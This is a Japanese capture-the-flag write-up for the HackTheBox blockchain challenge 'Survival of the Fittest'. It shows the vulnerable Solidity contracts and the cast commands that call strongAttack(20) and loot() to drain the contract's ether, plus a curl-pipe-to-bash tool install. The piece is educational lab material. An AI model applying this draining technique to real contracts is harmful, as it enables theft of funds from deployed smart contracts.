ブロックチェーンハッキング入門

ブロックチェーンのハッキングの入門としてHackTheBoxの「Survival of the Fittest」を解いていきましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/38d5021e-30b3-5dce-29f8-491eff386af1.png)

https://app.hackthebox.com/challenges/survival-of-the-fittest

:::note
このハッキング手法を悪用できるスマートコントラクトは世の中に出回っていない（と願っています。）ですが、悪用しようとしないでください。
:::

# 事前知識

Castと呼ばれる、スマートコントラクトとの通信ができるクライアントが必要になります。

以下コマンドでインストールしましょう。

```bash
curl -L https://foundry.paradigm.xyz | bash
# zshやbashの再起動後
foundryup
```

# 解いてみる

百聞は一見に如かず。解いてみます。

## コードを見る

与えられたコードの中で、`Setup.sol`を見てみましょう。
（solファイルのシンタックスハイライトがなかったので、C言語のシンタックスハイライトを使ってます。）

```c:Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

// Setupコントラクトを作成
contract Setup {

    // 外部から読み取り可能なTARGET変数を宣言する
    Creature public immutable TARGET;

    constructor() payable {
        // Ehterが1イーサに満たないとコントラクトのデプロイが失敗する
        // 10Ehterを持つコントラクトを作成し、TARGETという変数に代入する
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    }

    // isSolvedという名前のビュー関数を定義
    // TARGETの持つEhterが0の場合に正を返す
    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}
```

`Creature.sol`は以下のようになっています。

```c:Creature.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {

    // lifePoints CreatureのHPを表す変数
    // aggro      Creatureの攻撃対象のアドレス
    uint256 public lifePoints;
    address public aggro;

    // lifePointsは20ポイントにセットする
    constructor() payable {
        lifePoints = 20;
    }

    // _damageで指定されたダメージを_dealDamage関数に渡す関数（下記）
    function strongAttack(uint256 _damage) external{
        _dealDamage(_damage);
    }

    // _dealDamage関数（下記）を用いて1ダメージを与える関数
    function punch() external {
        _dealDamage(1);
    }

    // lifePointsが0である場合に呼び出し元コントラクトに残高を送金する関数
    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    // 攻撃者のアドレスのlifePointsから_damage分を引く関数
    function _dealDamage(uint256 _damage) internal {
        aggro = msg.sender;
        lifePoints -= _damage;
    }
}
```

## 推測と解法

とりあえず、クリーチャーを倒せばいいのかしら！と思いました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/56b9e55d-31ff-a76a-8fea-f40bc09d1982.png)

WEBサイトを見てみた感じ、モンスターを倒せますか？と出てきます。
何度、攻撃ボタンをクリックしてもモンスターは倒せませんでした。

- モンスターのHP初期値は20から始まる。
- 自分たちはそれらを0にしなくてはいけない
- モンスターのHPは回復する
- `strongAttack()`関数では、自分たちが攻撃するダメージを設定できる

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/b0292e56-e25c-fe90-2323-34d5fd8a0359.png)

サイトの上には`Docs` / `Home` / `Connection`があります。

それぞれ、ドキュメントと接続先のアドレス情報が書かれています。

`Docs`についてみてみましょう

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/616caf2c-c565-20b4-8e30-67f4b1e0a529.png)

APIのエンドポイントの情報が書かれていました。

- `/restart` チェーンをリスタートする
- `/rpc` RPCのエンドポイント
- `/flag` フラグをゲットする
- `/connection_info` ノードに関する情報を取得する

次に`Connection`についてみてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/0651aa51-b7b8-842a-74c0-077cfffbe84e.png)

ここからキーとアドレス、ターゲットのコントラクトアドレスとセットアップコントラクトのアドレスがわかりました。

## ハッキング開始

最初に必要なトークンやアドレスを環境変数に入れておきましょう。

```bash
privatekey=プライベートキー
targetaddress=ターゲットアドレス
rpc=http://HTBのアドレス/rpc
```

自身の場合は以下のような感じでセットアップしました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/97ea3972-4c64-cdfa-30fa-818ec76aa096.png)

まず最初に`strongAttack()`関数モンスターの体力を20削りましょう。

```bash
cast send $targetaddress -r $rpc 'strongAttack(uint256)' 20 --private-key $privatekey
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/b5b871b7-5d2e-dc5e-96d4-eafc10f7603c.png)

`lifePoints()`関数でモンスターの体力を見てみましょう。

```bash
cast call -r $rpc $targetaddress 'lifePoints()'
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/25cb5cbb-928e-66b2-62e7-1201e6bc03be.png)

きちんと0になっていますね。

最後に`loot()`関数を呼んでHPを確定させましょう。

```bash
cast send $targetaddress -r $rpc 'loot()' --private-key $privatekey
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/5750779a-5a64-a56f-f824-949f832f38c9.png)

これで、フラグが取り出せるはずです。

```bash
curl http://IPアドレス/flag
```

![タイトルなし.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/452b26e7-bd4b-6769-9d10-23aa1f79194a.png)

できました！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/cb83227f-b507-3eb3-bb51-b7f73db22a6d.png)

# まとめ

ブロックチェーンの関数が誰でも呼び出せることで危険になることがわかりました。

WEB3に関連やスマートコントラクトが実社会にどんどん実装されているので、セキュアにコーディングされたものが世の中にたくさん出てくればいいなぁと思いました。

どんどん知識深めていきたいですね。

# 参考文献

https://zenn.dev/razokulover/articles/574eb471e6db1c

https://gentosha-go.com/articles/-/17332

https://nordvpn.com/ja/blog/biggest-crypto-hacks/